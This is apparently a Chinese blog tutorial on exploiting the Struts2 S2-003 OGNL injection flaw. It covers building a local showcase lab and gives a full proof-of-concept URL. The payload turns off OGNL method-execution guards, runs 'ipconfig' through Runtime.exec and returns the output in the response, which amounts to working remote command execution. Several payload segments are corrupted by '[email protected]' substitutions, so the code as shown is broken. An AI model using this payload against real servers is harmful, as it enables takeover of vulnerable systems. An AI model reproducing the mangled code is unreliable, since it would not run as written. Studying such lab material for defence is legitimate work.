Struts-S2-003漏洞利用(含环境搭建、含POC)

Struts-s2-003

此文仅供大家交流学习,严禁非法使用

一、参考网址:

http://security.ctocio.com.cn/100/11466600.shtml

二、 影响版本:

Struts 2.0.0 - Struts 2.0.11.2

三、 漏洞介绍:

OGNL还提供了广泛的表达式评估功能(http://www.ognl.org/2.6.9/Documentation/html/LanguageGuide/expressionEvaluation.html)。该漏洞允许恶意用户绕过ParametersInterceptor内置的“#”使用保护,从而能够操纵服务器端上下文对象。
所以,例如,要将#session.user设置为'0wn3d',可以使用以下参数名称:
('\ u0023'+'session 'user ' ')(未使用)= 0wn3d
网址编码后会显示如下:
('\ u0023'%20%2b%20'session 'user \ '))(未使用)= 0wn3d

四、 环境搭建:

仿照一下搭建showcase2.1.6的方式,搭建struts2-showcase-2.0.1

  • 下载/struts/2.0.1

下载地址:http://archive.apache.org/dist/struts/binaries/struts-2.0.1-all.zip
如果下载失败,可以把这个网址粘到百度云使用离线下载

  • 下载安装xampp

  • 部署showcase

  • 解压

Struts-S2-003漏洞利用(含环境搭建、含POC)_第1张图片
2.1.6_1.png

Struts-S2-003漏洞利用(含环境搭建、含POC)_第2张图片
2.1.6_2.png
  • 复制到.
2.1.6_3.png
  • 重启tomcat
Struts-S2-003漏洞利用(含环境搭建、含POC)_第3张图片
2.1.6_4.png
  • 已成功自动部署
Struts-S2-003漏洞利用(含环境搭建、含POC)_第4张图片
2.1.6_5.png
  • 访问http://127.0.0.1:8080/struts2-showcase-2.0.1/

五、 POC:

其实S2-003是S2-005的前身,他的POC即为S-005的缩小版,因为S2-003之后官方偷偷修改安全配置,默认让SecurityMemberAccess(管理ognl权限的类)的allowStaticMethodAccess为false,这里简单把S2-005的POC去掉&('\u0023_memberAccess.allowStaticMethodAccess\u003dtrue')(bla)(bla)这句话

?('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003dfalse')(bla)(bla)&('\u0023_memberAccess.excludeProperties\[email protected]@EMPTY_SET')(kxlzx)(kxlzx)&('\u0023mycmd\u003d\'ipconfig\'')(bla)(bla)&('\u0023myret\[email protected]@getRuntime().exec(\u0023mycmd)')(bla)(bla)&(A)(('\u0023mydat\u003dnew\40java.io.DataInputStream(\u0023myret.getInputStream())')(bla))&(B)(('\u0023myres\u003dnew\40byte[51020]')(bla))&(C)(('\u0023mydat.readFully(\u0023myres)')(bla))&(D)(('\u0023mystr\u003dnew\40java.lang.String(\u0023myres)')(bla))&('\u0023myout\[email protected]@getResponse()')(bla)(bla)&(E)(('\u0023myout.getWriter().println(\u0023mystr)')(bla))

六、 测试网址:

http://127.0.0.1:8080/struts2-showcase-2.0.1/showcase.action

七、修改后网址:

http://127.0.0.1:8080/struts2-showcase-2.0.1/showcase.action?('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003dfalse')(bla)(bla)&('\u0023_memberAccess.excludeProperties\[email protected]@EMPTY_SET')(kxlzx)(kxlzx)&('\u0023mycmd\u003d\'ipconfig\'')(bla)(bla)&('\u0023myret\[email protected]@getRuntime().exec(\u0023mycmd)')(bla)(bla)&(A)(('\u0023mydat\u003dnew\40java.io.DataInputStream(\u0023myret.getInputStream())')(bla))&(B)(('\u0023myres\u003dnew\40byte[51020]')(bla))&(C)(('\u0023mydat.readFully(\u0023myres)')(bla))&(D)(('\u0023mystr\u003dnew\40java.lang.String(\u0023myres)')(bla))&('\u0023myout\[email protected]@getResponse()')(bla)(bla)&(E)(('\u0023myout.getWriter().println(\u0023mystr)')(bla))

八、执行结果

Struts-S2-003漏洞利用(含环境搭建、含POC)_第5张图片
1.png

九、 至此,该漏洞基本利用完毕

本人还是一个未毕业的小萌新,希望大家多多帮助,有问题请发送邮件到[email protected]不胜感激,我也会尽量去帮助大家

坚决做一名白帽子

你可能感兴趣的:(Struts-S2-003漏洞利用(含环境搭建、含POC))